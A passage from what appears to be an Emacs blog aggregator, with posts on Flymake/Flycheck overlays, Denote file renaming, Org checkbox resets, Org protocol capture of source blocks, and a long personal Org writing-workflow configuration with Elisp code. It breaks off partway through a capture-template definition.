If you’re a Flycheck or Flymake user and like eye candy, you might enjoy this new package from Mikael Konradsson. It’s a nice looking overlay for Flymake and Flycheck. There’s a couple of screen shots at the link that show what it looks like.

There’s a lot more information at the project’s GitHub repository. There are more screenshots and a more comprehensive explanation of what it does and how it works. As I said, there’s a lot of information at GitHub so you should definitely take a look at that if your interested but here’s a list of it’s features taken from the repository:

  1. Nice looking, customizable overlays for error display that are theme aware
  2. Errors, Warnings, and Info messages are distinguished by different styles
  3. Realtime updates while editing
  4. Smart position and formatting of messages
  5. Efficient overlay management
  6. Markdown-style syntax highlighting in messages

The package is available from Melpa so it’s easy to install if you’d like to try it.

-1:-- Flyover (Post Irreal)--L0--C0--2025-07-10T23:04:09.000Z

Protesilaos Stavrou: Join me for ā€˜Prot Asks’ public video calls about Emacs and life in general

I want to start a video series where I talk one-on-one with a person about Emacs, technology in general, and whatever life issues. The idea is to connect via Jitsi, Jami, Signal, or something similar, and I will take care to record the conversation. I will then host the video on my YouTube channel and publicise it on my website. The video will not be edited unless you think it is necessary.

The format should be casual: a ~1-hour chat where we start with things that interest us and then go with the flow of the conversation. There will be jokes or lighthearted moments and we can run off on tangential points. No problem; no stress! I will be posing questions that are general and friendly in nature to keep the discussion going. What the questions are will depend on the topic we are covering. This should not be an interview or debate: just an exchange between Internet folks who have things in common.

You do not need to have a strong presence online to qualify. I am willing to talk to anyone. Of course, if you do have public pages, you are welcome to promote them in the chat and I will provide the relevant links in the description of the video.

Are you interested to talk with me? All I ask of you is that (i) you agree to show your face on camera and (ii) agree that I publish the video on my YouTube channel and website.

Contact me and we will sort out the meeting details: https://protesilaos.com/contact. Also let me know if you have any further questions.

We can do this!

UPDATE 2025-07-14 20:47 +0300: I have a follow-up publication where I answer some common questions: https://protesilaos.com/codelog/2025-07-14-common-questions-about-prot-asks-videos-emacs-life/.

-1:-- Join me for ā€˜Prot Asks’ public video calls about Emacs and life in general (Post Protesilaos Stavrou)--L0--C0--2025-07-10T00:00:00.000Z

Irreal: Resetting All Checkboxes In An Org Buffer

Marcin Borkowski (Mbork) has a problem that many of we Org users have: He likes to use checkbox lists to organize tasks to ensure that he doesn’t forget any steps. An example that will resonate with most of us is using a checklist for things to pack for a vacation. So what’s the problem? The problem is how to reset those checkboxes to unchecked for the next time you want to use the checklist.

For a long time, he just did the obvious thing and performed a query-replace to change [x] to [ ]. The trouble with that solution is that it didn’t reset the checkbox cookies so he had to do that by hand. Since he knows a bit about Elisp, he decided to write his own solution. It turns out that Org already has a function, org-reset-checkbox-state-subtree, that almost does that. It will reset all the checkboxes in the current subtree so all Mbork needed to do was write a function to step down the subtrees and call org-reset-checkbox-state-subtree for each one.

It’s a surprising small amount of code and neatly solves the problem. As Mbork points out, there are some problems. His solution will sometimes call org-reset-checkbox-state-subtree for the same subtree more than once and it apparently can mess with header folding but most files you’re going to use his function on are probably sufficiently small that it doesn’t matter.

I’ve written a bunch of code like this. It may not be ready to ship but it solves a problem and I understand its limitations. It’s a win.

-1:-- Resetting All Checkboxes In An Org Buffer (Post Irreal)--L0--C0--2025-07-09T14:47:42.000Z

Protesilaos Stavrou: Emacs: reorder Denote file name components

Raw link: https://www.youtube.com/watch?v=30uvxQMVqhg

In this ~13-minute video I explain how to use the Denote user option denote-file-name-components-order. Then I show how to retroactively rename all the files that have the Denote file-naming scheme so that they follow the desired order. In the process, I cover the command denote-sort-dired (alias denote-dired), which helps produce a flat listing of Denote files, even if they exist in subdirectories of the denote-directory.

The code used in this video:

;; The default:
(setq denote-file-name-components-order '(identifier signature title keywords))

;; Any order will work.  Here is the one I am using for this demonstation:
(setq denote-file-name-components-order '(identifier signature keywords title))

;; And here is another:
(setq denote-file-name-components-order '(identifier keywords title signature))

;; And yet another one for the sake of completeness:
(setq denote-file-name-components-order '(title keywords signature identifier))

(defun prot/denote-rename-all-to-reorder-components ()
  "Call `denote-dired-rename-files' without any prompts.
In other words, preserve the value of each Denote file name component.

Use this command if you wish to modify the user option
`denote-file-name-components-order' and then want your existing Denote
files to retroactively follow that order."
  (interactive)
  (let ((denote-prompts nil))
    (call-interactively 'denote-dired-rename-files)))
-1:-- Emacs: reorder Denote file name components (Post Protesilaos Stavrou)--L0--C0--2025-07-09T00:00:00.000Z

Charles Choi: Capturing Org Source Blocks

A commonplace activity is to copy source code from a web page into an Org file. Ideally such code is kept structurally intact by wrapping it in an Org source block. This is typically done as follows:

  1. Select source code text in web page.
  2. Copy source code text.
  3. Paste source code into Org file.
  4. Annotate the pasted source code with an Org source block, specifying language. (#+BEGIN_SRC {language}, #+END_SRC)
    • Either done manually or using the command org-insert-structure-template (C-c C-,)

While the above is not complicated, it can get onerous if done frequently. Thankfully Org provides you with the means to automate this. For example with Org protocol, the above steps can be reduced to:

  1. Select source code text in web page (no need to copy!).
  2. Run web bookmark to capture selected text to Emacs.
  3. Select source code language via mini-buffer completion in Emacs and commit capture (C-c C-c).

Interested? Read on. Some Elisp ahead, but hopefully not too challenging.

Capturing code with Org protocol

A convenient way to capture content from a web page is through Org protocol which builds on top of Org capture. Some setup is required before using it, but the effort is rewarded in saved time for a future you.

Shown below is a capture template with key name ā€œcodeā€.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
("code"
 "Source Code (Org Protocol)"
 entry
 (file "~/org/notes.org")
 (function (lambda ()
             (string-join
              (list "* Source: %:description"
                    ":PROPERTIES:"
                    ":CREATED: %U"
                    ":END:"
                    "%:link"
                    (concat "#+BEGIN_SRC "
                            (cc-org-capture--code-choices "elisp"))
                    "%i"
                    "#+END_SRC"
                    ""
                    "%?")
              "\n")))
 :empty-lines 1)

The Elisp function cc-org-capture--code-choices will generate capture expansion markup to choose a language with mini-buffer completion. It is configured here to use ā€œelispā€ as the default language. The set of languages to choose from via completion is defined in cc-org-capture--src-languages. Both their definitions are shown below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
(defun cc-org-capture--code-choices (lang)
  "Create selection of programming language choices with default LANG."
  (concat
   "%^{Language|"
   lang
   "|"
   (string-join cc-org-capture--src-languages "|")
   "}"))

(defvar cc-org-capture--src-languages
  (list
   "C" "F90" "R" "awk" "clojure" "cpp" "css" "ditaa" "dot" "elisp" "eshell"
   "forth" "gnuplot" "haskell" "java" "js" "julia" "kotlin" "latex" "lisp" "lua"
   "makefile" "matlab" "max" "ocaml" "octave" "org" "perl" "plantuml"
   "processing" "python" "ruby" "sass" "scheme" "sed" "shell" "sql" "sqlite"
   "swift" "swiftui" "tcl")
  "List of supported Org capture languages.")

To exercise the capture template named ā€œcodeā€ from your JavaScript enabled web-browser, create a bookmark with the following JavaScript code as its location. When you find code you want to capture, select the code and run this bookmark.

1
2
3
4
5
javascript:location.href='org-protocol://capture?' +
      new URLSearchParams({
            template: 'code', url: window.location.href,
            title: document.title, body: window.getSelection()});
      void(0);

Aside: if you use Emacs for macOS, you’ll want Scrim to get Org protocol to work.

Capturing source code by copying

Often it is desirable to just copy the source code (putting it in the kill-ring) and paste (or rather capture) it direct into an Org (or Markdown) file of one’s choosing. The following capture template named ā€œccā€ can accomplish this.

1
2
3
4
5
6
7
("cc"
 "Code"
 plain
 (here)
 (function cc-org-capture--code-select-body)
 :empty-lines 1
 :immediate-finish 1)

In the above template, the target (here) is used to insert the captured source code at the current point. The template type is set to plain to not give the captured source code any special treatment with respect to Org structure. The :immediate-finish key is set to non-nil to not create a separate capture window.

The ā€œccā€ template is intended to be invoked with a multiple-key sequence starting with ’c’, so the following entry in org-capture-templates is expected.

1
("c" "Code")

The work of constructing the wrapped source code (in this case, presumed to be in the kill-ring via system copy) is done in cc-org-capture--code-select-body. Its source is shown below.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
(defun cc-org-capture--code-select-body ()
  "Body capture code in `kill-ring' head with language prompt."
  (cc-org-capture--code-body-from-kill-ring
   (cc-org-capture--code-choices "elisp")))

(defun cc-org-capture--code-body-from-kill-ring (lang)
  "Generate capture body for LANG code at head of the `kill-ring'."
  (string-join
   (list
    (cc-org-capture--src-block-begin lang)
    (if kill-ring "%c" "")
    (cc-org-capture--src-block-end))
   "\n"))

(defun cc-org-capture--src-block-begin (&optional lang mode)
  "Annotate begin of source code block for given LANG and MODE."
  (let* ((lang (if lang lang "elisp"))
         (mode (if mode mode major-mode)))
    (cond
     ((eq (derived-mode-p mode) 'org-mode) (concat "#+BEGIN_SRC" " " lang))
     ((eq (derived-mode-p mode) 'markdown-mode) (concat "```" lang))
     (t (concat "#+BEGIN_SRC" " " lang)))))

(defun cc-org-capture--src-block-end (&optional mode)
  "Annotate end of source code block for given MODE."
  (let* ((mode (if mode mode major-mode)))
    (cond
     ((eq (derived-mode-p mode) 'org-mode) "#+END_SRC")
     ((eq (derived-mode-p mode) 'markdown-mode) "```")
     (t "#+END_SRC"))))

The implementation of cc-org-capture--code-select-body will check the current major mode (major-mode) and depending if it is Org or Markdown, wrap the copied source code in the kill-ring (expanded by the term ā€œ%cā€) accordingly.

The following code shows how the ā€œccā€ template can be added to org-capture-templates.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
(add-hook
 'org-mode-hook
 (lambda ()
   (add-to-list 'org-capture-templates
                '("cc"
                  "Code"
                  plain
                  (here)
                  (function cc-org-capture--code-select-body)
                  :empty-lines 1
                  :immediate-finish 1)
                t)))

If you have C-c c bound to org-capture then you should see the ā€œccā€ template in the ’c’ sub-menu.

Caveats

If the source code to be captured contains any text that matches a capture template expansion then it will be processed, likely resulting in unintended behavior. Look out for text that starts with ’%’.

Closing Thoughts

If you’re still here thanks for your attention! This post required a fair amount of Elisp understanding, but the reward for knowing it is the ability to build very bespoke Org capture workflows. Motivated readers are encouraged to take these examples and run with them. To this end I’ve deliberately left out a capture template example of ā€œhard-codingā€ a language as an exercise to the reader.

If you end up making a template that you think others would find useful, please share it!

Links

If you're on macOS and have Org protocol setup, you might be interested in this post "Capturing an Org note via macOS Shortcuts".

-1:-- Capturing Org Source Blocks (Post Charles Choi)--L0--C0--2025-07-09T00:00:00.000Z

Jakub Nowak: Architecting a Better Org Workflow

There's a new carnival in town, and I'm joining in. The theme for this month is "Writing Experience", and boy what an experience it is. About 80% of my daily usage of Emacs is writing, but some parts of my workflow are tedious, or worse yet completely unused, and I've had some quality of life stuff that I've been itching to implement for a while. My configuration is not particularly well formatted either. So in all, I think it's a good time to do a bit of Winter cleaning (Southern Hemisphere rules) and build a better configuration for writing specifically.

Before looking at what my config looks like currently, let's look at what I'm actually using Emacs to write, since a use case is a good place to start from. When I write in Emacs, 99.9% of the time I'm writing in org-mode (the other 0.01% of the time is in markdown-mode with Emacs Everywhere, but I won't cover that here). By my own self-reflection, this is what I mostly use Emacs for in terms of writing (and in no particular order):

  • Fiction Writing:
    • Novels or Short Stories
    • Worldbuilding
  • Technical Writing:
    • Essays and Mini-essays
    • Notes, and To-Dos
    • Knowledge Management
    • Literate Programming
  • Blog Posts
  • Tabletop RPG Rules

The requirements for these are all relatively distinct, and my flow for some is more streamlined than others. For example, I'm quite happy with my RPG rules writing setup, at least for my current project; and I'm also pretty happy with Weblorg and blog writing/publishing. I feel like my main points of contention are essay writing and personal knowledge management. So let's have a look at what I'm doing now before I start thinking how to do it better.

I initially started writing this with the intention to do up my fiction writing and TTRPG flows, but it really turned into a complete overhaul of my second brain/PKDB setup. Sorry about that!

The Now and Reflection

This is a list of every external package I'm currently using when writing in org:

  • wc-mode
  • org-modern
  • powerthesaurus
  • eglot with Harper
  • org-novelist
  • org-roam
  • company for use with Harper and Ispell
  • org-transclusion
  • yasnippet
  • weblorg and templatel

I'm not including any packages like ob-racket that enable more language support for babel.

wc-mode is invaluable to me, however I wouldn't mind getting rid of the dependency and trying to implement it myself. It would be good practice with Elisp. For the sake of not reinventing the wheel, let's not do that here.

org-modern is excellent, but my use of it could probably be better. The incompatibility with org-indent bugs me in particular, which probably means I need to have a look at org-modern-indent instead.

powerthesaurus is also invaluable, more-so than wc-mode. However, it would be good to have at least some of this functionality available offline, since I don't always write with an internet connection.

eglot and Harper are excellent, but I want to tweak some of the rules. Unfortunately, Harper doesn't have native support for org so there will always be some incompatibility until then, but I'm willing to put up with that until it gets implemented (if it does).

org-novelist is… good, but I don't make enough use of it to justify it's inclusion. I don't do enough story writing anymore, and the structure is not particularly helpful for worldbuilding or other document types.

org-roam is the most contentious thing here. I feel like my "organisation system", meaning my to-do files, commonplace notebook, and PKDB are where I see the biggest friction currently. Sure my current setup works, but it feels disorganised, and I don't use org-roam as much as I should - probably because the main killer feature, backlinks, just doesn't jive well with how my head works. It also doesn't have any good spaced repetition implementation, which I would like to have.

company. I'm not going to touch this too much; I already did that in my previous blog about Harper, and I'm quite happy in the state that it's in.

org-transclusion. I installed this on a whim because I thought it might be helpful in making org-roam fit better in my head, but I basically haven't touched it since. It might be time for this to go.

yasnippet is great, I use it all the time for things like date insertion, but I wouldn't mind adding some more templates to skeleton some document types.

I don't have much to say about weblorg, you're reading this right now thanks to it. I have two issues here: firstly, citations don't work, and secondly the table of contents links don't work. I will try to fix these, but I'm doubtful that I can. We will see.

Stuff I Want To Have

Big one: I'm crap at writing Bibtex and I use citation generators. The issue is that these are outside Emacs, which causes friction. I think biblio should solve this.

The biggest thing I would absolutely love, is for my PKDB to be easily accessible and editable on my phone. Yes, I know Emacs can run on Android, but it's not exactly a pleasant experience - nor should it be, it's a touch interface not a keyboard interface. I've kinda tried to work around this with a uConsole, but, eh, honestly that workflow has it's own problems. That whole device has it's own usability problems for me that I want to address separately. Back to the main desire here: ideally, I don't want to program my own app in Flutter (although that would be pretty neat, imagine an interactive org-roam-ui) because it's too time consuming currently. I use Orgzly Revived on mobile and I would like my note-taking to be compatible with it; or, in lieu of that, have it be compatible with Logseq (which actually seems like it may be the better solution here).

While we're on the topic of mobile, being able to share some files with my girlfriend would be useful - for example to track a shared grocery list. She is using an iPhone, which might make this more complicated.

I want to start journaling proper. I've been having fun with solo journaling TTRPGs lately and I think it's not a bad idea to integrate that into my daily life, even if it's just a paragraph or so.

If you're not familiar with mini-essays, I recommend watching this video. The takeaway is that I already sort of do this in org-roam, but that's not exactly the most frictionless setup. Zettelkasten is not made for this type of thing in my opinion, but that may just be because of my organisation.

While I'm loving Harper for picking up errors, I also want to be able to inspect the text style of my writing. Currently, I'm doing this with Expresso but having this available within Emacs would be greatly beneficial.

I want some cleaner text selection commands. Particularly, I want mark-word to select the whole word at the cursor and not just to the end of it. I also want something like mark-sentence (forward-sentence is also a bit buggy, so fixing that might be a good idea). Also along these lines, I want to implement some functionality from essay.app, specifically sentence/paragraph reordering and "focused rewriting".

In general I want to change some key-binds to use custom multi-key selection menus through transient, because I find that having such a single entry-point will make it less likely I forget things.

More to the TTRPG side, I want to be able to do dice rolls via the standard syntax (xDy+z) and create roll tables that I can reference remotely easily. Card decks would also be very helpful.

Finally, I'm currently synchronising org files across devices with git. This sucks, and I want to swap to Syncthing as part of this.


OK, that was a lot of words. I'm kind of using this document as a brain dump, so apologies for that in advance. I think though, I have a good idea of what I want to do to improve my experience in Org now. So, it's time to get to work.

Structuring

We need a cool project name for this workflow. Because why not. I'm in a phase of naming things after alchemical/hermetic terms currently (see animus and ouroboros-emacs-themes) so let's stick with that theme - I'll call it "org-logos".

My Emacs configuration depends on straight, and I will be using it here along with use-package. Besides that, I like to keep everything as self-contained as possible. If I'm referencing a package I have installed globally and not as part of this specific workflow, I'll bring this up here.

The best place to start is with configuring org-mode itself, before getting into any additional packages. This comes in 2 parts; one is changing a bunch of variables, and the other is adding an initialisation function which calls a bunch of other functions as a hook. Let's start with the latter.

(defun org-mode-init ()
  "This is called through org-mode-hook, so that I don't need to add-hook 20 million times."
  ;; I want org to display pictures inline.
  (org-display-inline-images)
  ;; I don't want monospace text by default.
(variable-pitch-mode))

(add-hook 'org-mode-hook #'org-mode-init)

Regarding variable-pitch-mode, ouroboros-emacs-themes already supports this across all themes, including monospace formatting for code blocks and verbatims, so I won't go into my configuration for that here.

We'll add more lines to this as we go along. For now this is a good place to start. Onto the variable changes next.

(setq org-log-done 'time ;; I want to keep track of the time tasks are completed.
    org-return-follows-link t ;; I want to be able to follow links easily.
    org-hide-emphasis-markers t ;; This is a big one: hide markup syntax like ** and //.
    org-pretty-entities t ;; These two variables together render latex entities as UTF8, which means that Greek letters, subscript, and superscript are all rendered correctly.
    org-pretty-entities-include-sub-superscripts t
    org-enforce-todo-dependencies t ;; Prevent changing a parent to DONE if the children aren't
    org-enforce-todo-checkbox-dependencies t
    org-agenda-skip-scheduled-if-done t ;; Don't show done stuff in the agenda view
    org-agenda-skip-deadline-if-done t
    org-agenda-skip-timestamp-if-done t
    org-todo-keywords '((sequence "TODO" "WIP" "DELEGATED" "WAITING" "|" "CANCELLED" "DONE")) ;; Some extra keywords in addition to TODO and DONE
    org-refile-targets '((org-agenda-files :maxlevel . 2)) ;; Allow any agenda files to be refile targets
    )

I want to keep all my org agenda files in ~/.org, so I'll be hard-coding that value for this next variable:

(setq org-cite-global-bibliography '("~/.org/global.bib") ;; Global bibliography location)

Agenda and The Exobrain - Organisation

Since I'm already looking at the org-agenda-files variable, this might be a good time to think about the structure of my agenda files and PKDB. Let's abstract a little.

There is an excellent article by Justin Wernick about his exobrain, and another good workshop on Guild of the Rose about the same topic. There are essentially three components that I want:

  1. Task tracking and management: this is what org agenda is currently useful for.
  2. Note taking: this is what most people use org-roam for.
  3. Knowledge refinement: this is what I've been using org-roam for, and where things like mini-essays come in. Flashcards can also fall into this category.

Here's the issue that I've realised while writing this post: Zettelkasten is a great methodology for taking notes, specifically short-hand notes, but it's a terrible methodology for long-form knowledge storage in my opinion. I really want to stress that this is just my personal view - everyone's brains work different - but for example having I've been treating org-roam like a wiki with 1 node for each topic (1 for Python, 1 for SQL, etc). I think that having 1 node for an individual snippet of information, and linking everything with index cards, will be much more useful for synthesis at the refinement stage. That way I can also see backlinks being helpful for me.

OK, so what can I use to cover the knowledge refinement step? Well, I don't think it needs anything complex: in fact I think splitting the org-roam directory into multiple folders is the solution here.

Prettifying

Before we get too stuck in on exobrain optimisation, let's first add some basic user experience enhancements. I like using org-modern, but I also want to fix some minor code block formatting issues that I have with org-indent-mode.

  (use-package org-modern
  :hook ((org-mode . org-modern-mode)
         (org-agenda-finalize . org-modern-agenda)))

(use-package org-modern-indent
  :straight (org-modern-indent :type git :host github :repo "jdtsmith/org-modern-indent")
  :hook ((org-mode . org-modern-indent-mode)))

Also need to set org-startup-indented to t in the big setq block. I also want wc-mode, as stated before.

(use-package wc-mode
  :hook ((org-mode . wc-mode))
  :config (setq wc-modeline-format "WC[%tw]"))

That about covers everything I need or want as far as beautification is concerned.

Generally Useful Stuff

I want to work a bit on the stuff that's going to be generally useful no matter the form of writing.

Let's start with what's been bothering me the most: sentence-based navigation and word/sentence selection. Emacs already has a backward- and forward-sentence function but they don't work for me - they jump to the start and end of the paragraph. The reason for this is very simple and very (in my opinion) stupid: sentence-end-double-space is t by default, which means that a sentence needs to end with two spaces following a period for Emacs to recognise it. Easy enough fix, just setq to nil.

With that fixed, we can have some fun with creating custom marking functions for sentences and words, since those don't behave properly either (by design).

  (defun mark-whole-word ()
  "Marks the whole word underneath the cursor."
  (interactive)
  (forward-word)
  (set-mark-command nil)
  (backward-word))

(defun mark-sentence ()
  "Marks the entire sentence underneath the cursor."
  (interactive)
  (forward-sentence)
  (set-mark-command nil)
  (backward-sentence))

Let's also have some fun with re-ordering sentences and paragraphs. These aren't perfect (for example, paragraph moving can be messy with code blocks) but they're "good enough". I've even made them compatible with C-u.

  (defun move-sentence-right (&optional arg)
  "Moves the whole sentence to the right of the next sentence."
  (interactive "^p")
  (or arg (setq arg 1))
  (while (> arg 0)
    (forward-sentence)
    (backward-sentence)
    (left-char) ;; Capture previous space
    (kill-sentence)
    (forward-sentence)
    (yank)
    (backward-sentence)
    (setq arg (1- arg))))

(defun move-sentence-left (&optional arg)
  "Moves the whole sentence to the left of the previous sentence."
  (interactive "^p")
  (or arg (setq arg 1))
  (while (> arg 0)
    (forward-sentence)
    (backward-sentence)
    (left-char) ;; Capture previous space
    (kill-sentence)
    (backward-sentence)
    (left-char) ;; Capture previous space
    (yank)
    (backward-sentence)
    (setq arg (1- arg))))

(defun move-paragraph-up (&optional arg)
  "Moves the whole paragraph above the previous paragraph."
  (interactive "^p")
  (or arg (setq arg 1))
  (while (> arg 0)
    (forward-paragraph)
    (backward-paragraph)
    (kill-paragraph nil)
    (backward-paragraph)
    (yank)
    (backward-paragraph)
    (setq arg (1- arg))))

(defun move-paragraph-down (&optional arg)
  "Moves the whole paragraph above the previous paragraph."
  (interactive "^p")
  (or arg (setq arg 1))
  (while (> arg 0)
    (forward-paragraph)
    (backward-paragraph)
    (kill-paragraph nil)
    (forward-paragraph)
    (yank)
    (backward-paragraph)
    (setq arg (1- arg))))

If you're not aware, you can already narrow the buffer to a paragraph with narrow-to-defun. That's not enough to give me "focused rewriting" by itself though. Let's implement that next, by copying from this video.

(defun break-out-sentence ()
  "Breaks a sentence out into it's own buffer for editing."
  (interactive)
  (backward-sentence)
  (kill-sentence)
  (let ((buf (generate-new-buffer "*break-out*"))
      (window (split-window-below -10)))
    (set-window-buffer window buf)
    (select-window window))
  (erase-buffer)
  (yank)
  (org-mode))

(defun break-out-choose-sentence ()
  "Chooses a sentence from the break-out buffer."
  (interactive)
  (backward-sentence)
  (kill-sentence)
  (other-window -1)
  (yank)
  (select-window (get-buffer-window "*break-out*"))
  (kill-buffer-and-window))

Powerthesaurus is next. I don't need such a complex configuration for this.

(use-package powerthesaurus
  :bind ("C-x t" . powerthesaurus-transient))

I'm going to use C-c o as my personal command prefix in Org, but Powerthesaurus is generally useful everywhere so I want to keep it on an easily accessible binding. On that note:

  (defun break-out-dwim ()
  "Either break-out or choose sentency depending on buffer name."
  (interactive)
  (if (equal (buffer-name) "*break-out*")
      (break-out-choose-sentence)
    (break-out-sentence)))

(define-key org-mode-map (kbd "C-c o b") #'break-out-dwim)

Let's also bind some keys for the paragraph and sentence manipulation from before, and marking.

(define-key org-mode-map (kbd "C-M-<left>") #'move-sentence-left)
(define-key org-mode-map (kbd "C-M-<right>") #'move-sentence-right)
(define-key org-mode-map (kbd "C-M-<up>") #'move-paragraph-up)
(define-key org-mode-map (kbd "C-M-<down>") #'move-paragraph-down)

(define-key org-mode-map (kbd "C-@") #'mark-whole-word)
(define-key org-mode-map (kbd "M-@") #'mark-sentence)

I also want to put all of these manipulation keys into a transient menu.

(require 'transient)

(transient-define-prefix reorder-transient ()
  "Transient menu for text re-ordering commands."
  ["Move sentence..." ("l" "Left" move-sentence-left)
   ("r" "Right" move-sentence-right)]
  ["Move paragraph..." ("u" "Up" move-paragraph-up)
   ("d" "Down" move-paragraph-down)])

(transient-define-prefix mark-menu-transient ()
  "Transient menu for marking units of text."
  ["Mark" ("w" "Word" mark-whole-word)
   ("s" "Sentence" mark-sentence)
   ("p" "Paragraph" mark-paragraph)
   ("b" "Buffer" mark-whole-buffer)])

(define-key org-mode-map (kbd "C-c o SPC") #'mark-menu-transient)
(define-key org-mode-map (kbd "C-c o r") #'reorder-transient)

Apparently this wouldn't be a post on my blog without glazing Harper, so let's add that in here quickly.

(when (and (not (equal system-type 'windows-nt)) (locate-file "harper-ls" exec-path))
  (with-eval-after-load 'eglot
    (add-to-list 'eglot-server-programs
               '(org-mode . ("harper-ls" "--stdio"))))

  (setq-default eglot-workspace-configuration
              '(:harper-ls (:dialect "Australian")))

  (add-hook 'org-mode-hook 'eglot-ensure))

If you're curious, these are my bindings for using Eglot with Flymake to fix up errors. These are globally useful bindings, so I won't add them into the document here.

(global-set-key (kbd "M-g <left>") 'flymake-goto-prev-error)
(global-set-key (kbd "M-g <right>") 'flymake-goto-next-error)
(global-set-key (kbd "C-x M-f") 'eglot-code-actions)

Also a good idea to set up company with all the right backends.

(defun org-mode-company-hook ()
    "Set company backends for `org-mode' usage."
    (setq-local company-backends
            '((company-capf company-dabbrev company-files company-ispell))))
(add-hook 'org-mode-hook #'org-mode-company-hook)

That seems to be all the generally applicable stuff, except for text style metrics which I'm putting off indefinitely because I'm too stupid/lazy to implement it. Now it's time for the other thing I've been too lazy to touch.

Exobrain 1: Task Management

Task management needs to be logically organised, and after a lot of thinking I've arrived on something that's a mix of GTD, PARA, and Justin Wernick's system.

First we need an inbox/capture step. In my ~/.org directory, I'm going to have a directory structure like so:

.
ā”œā”€ā”€ lore
│   ā”œā”€ā”€ raw
│   └── refined
│       ā”œā”€ā”€ journal
│       └── wiki
└── tasks
    ā”œā”€ā”€ maintenance
    └── projects
	└── career

I'll touch on lore in the next two Exobrain sections, tasks is what's important here. Outside of this structure, I have ~/.org/inbox.org, which is where I will dump absolutely everything from new tasks to quick notes. All of this will be refiled to the right place later.

Each file in maintenance is for tracking related tasks, such as house related stuff, and has a short preface to detail the area it refers to, followed by sections for scheduled tasks ("Calendar"), one-off tasks ("TO-DO"), recurring tasks ("Routines"), and finished tasks ("Archive"). I never really want to delete any tasks that build up (although I may modify recurring tasks instead of creating a new task) because you never truly know if you'll need that context in the future.

Projects are similar to maintenance tasks, except each of the above sections is a level 2 heading under a level 1 "Work" section (which also has a TO-DO state). There are also level 1 sections for acceptance criteria and ideas relevant to the project. Career projects are just tasks for my current job - I want to keep these separate from other tasks.

It seems like a pain to manually specify each file here as an agenda file, so let's do it automatically.

(setq org-agenda-files (apply 'append (mapcar
                                 (lambda (dir)
                                   (directory-files-recursively dir org-agenda-file-regexp))
                                 '("~/.org/tasks"))))

I also want to make some functions for creating new maintenance areas and projects.

(defun new-maintenance-file (maintenance-area)
  "Create a new maintenance file for a given `MAINTENANCE-AREA'."
  (interactive "sMaintenance area is: ")
  (find-file (concat "~/.org/tasks/maintenance/" maintenance-area ".org"))
  (insert "\n\n* Calendar\n\n* TO-DO\n\n* Routines\n\n* Archive\n")
  (goto-char (point-min)))

(defun new-project-file (project-name acceptance-criteria)
  "Create a new project file for a given `PROJECT-NAME', with some `ACCEPTANCE-CRITERIA'."
  (find-file (concat "~/.org/tasks/projects/" project-name ".org"))
  (insert (concat "\n\n* Acceptance Criteria\n\n" acceptance-criteria "\n\n* Ideas\n\n* TODO Work\n\n** Calendar\n\n** TO-DO\n\n** Routines\n\n** Archive\n"))
  (goto-char (point-min)))

(defun new-generic-project (project-name acceptance-criteria)
  "Interactive wrapper for `new-project-file', for generic projects."
  (interactive "sProject name is: \nsAcceptance criteria is: ")
  (new-project-file project-name acceptance-criteria))

(defun new-career-project (project-name acceptance-criteria)
  "Interactive wrapper for `new-project-file', for career projects."
  (interactive "sProject name is: \nsAcceptance criteria is: ")
  (new-project-file (concat "career/" project-name) acceptance-criteria))

Now while we do have an inbox file, sometimes I know where something needs to go already and when I capture I would like to be able to specify the target location. This function can do that:

(require 'subr-x)

(defun select-task-area (location headline)
  "Prompt for a file in ~/.org/tasks/maintenance/ to insert the capture."
  (let* ((files (directory-files (concat "~/.org/tasks/" location) t "\\.org$"))
       (choices (mapcar
                 (lambda (x) (string-remove-suffix ".org" x))
                 (mapcar #'file-name-nondirectory files)))
       (selected (completing-read "Choose a file: " choices nil t)))
  (set-buffer (org-capture-target-buffer (concat "~/.org/tasks/" location selected ".org")))
  (org-capture-put-target-region-and-position)
  (widen)
  (goto-char (point-min))
  (setq headline (org-capture-expand-headline headline))
  (re-search-forward (format org-complex-heading-regexp-format
                             (regexp-quote headline))
                     nil t)
  (forward-line 0)))


(defun select-maintenance-area (headline)
  (select-task-area "maintenance/" headline))

(defun select-project (headline)
  (select-task-area "projects/" headline))

(defun select-career-project (headline)
  (select-task-area "projects/career/" headline))

The astute Emacs guru may realise this is absolutely disgusting. It also doesn't work properly, and gives a bunch of cl-assertion-failed errors on C-c C-c. It also widens to the entire org file after insertion. So it's not exactly smooth, but it does the job.

Anyway, we can use this to make capture templates now.

(setq org-capture-templates
      '(("i" "Idea")
      ("ii" "Generic" entry
       (file "~/.org/inbox.org")
       "* %^{TITLE} :idea: \n:Created: %T\n%?"
       :empty-lines 1)
      ("ip" "Project" entry
       (function (lambda () (select-project "Ideas")))
       "* %^{TITLE} \n:Created: %T\n%?"
       :empty-lines 1)
      ("ic" "Career" entry
       (function (lambda () (select-career-project "Ideas")))
       "* %^{TITLE} \n:Created: %T\n%?"
       :empty-lines 1)

      ("t" "Task")
      ("tt" "Generic")
      ("ttt" "Raw" entry
       (file "~/.org/inbox.org")
       "* TODO [%^{priority|#A|#B|#C|#D}] %^{TITLE} :task:\n:Created: %T\n%?"
       :empty-lines 1)
      ("ttm" "Maintenance" entry
       (function (lambda () (select-maintenance-area "TO-DO")))
       "* TODO [%^{priority|#A|#B|#C|#D}] %^{TITLE}\n:Created: %T\n%?"
       :empty-lines 1)
      ("ttp" "Project" entry
       (function (lambda () (select-project "TO-DO")))
       "* TODO [%^{priority|#A|#B|#C|#D}] %^{TITLE}\n:Created: %T\n%?"
       :empty-lines 1)
      ("ttc" "Career" entry
       (function (lambda () (select-career-project "TO-DO")))
       "* TODO [%^{priority|#A|#B|#C|#D}] %^{TITLE}\n:Created: %T\n%?"
       :empty-lines 1)
      ("ts" "Scheduled")
      ("tss" "Raw" entry
       (file "~/.org/inbox.org")
       "* TODO [%^{priority|#A|#B|#C|#D}] %^{TITLE} :scheduled:\n:SCHEDULED: %^T\n%?"
       :empty-lines 1
       :time-prompt t)
      ("tsm" "Maintenance" entry
       (function (lambda () (select-maintenance-area "Calendar")))
       "* TODO [%^{priority|#A|#B|#C|#D}] %^{TITLE} \n:SCHEDULED: %^T\n%?"
       :empty-lines 1
       :time-prompt t)
      ("tsp" "Project" entry
       (function (lambda () (select-project "Calendar")))
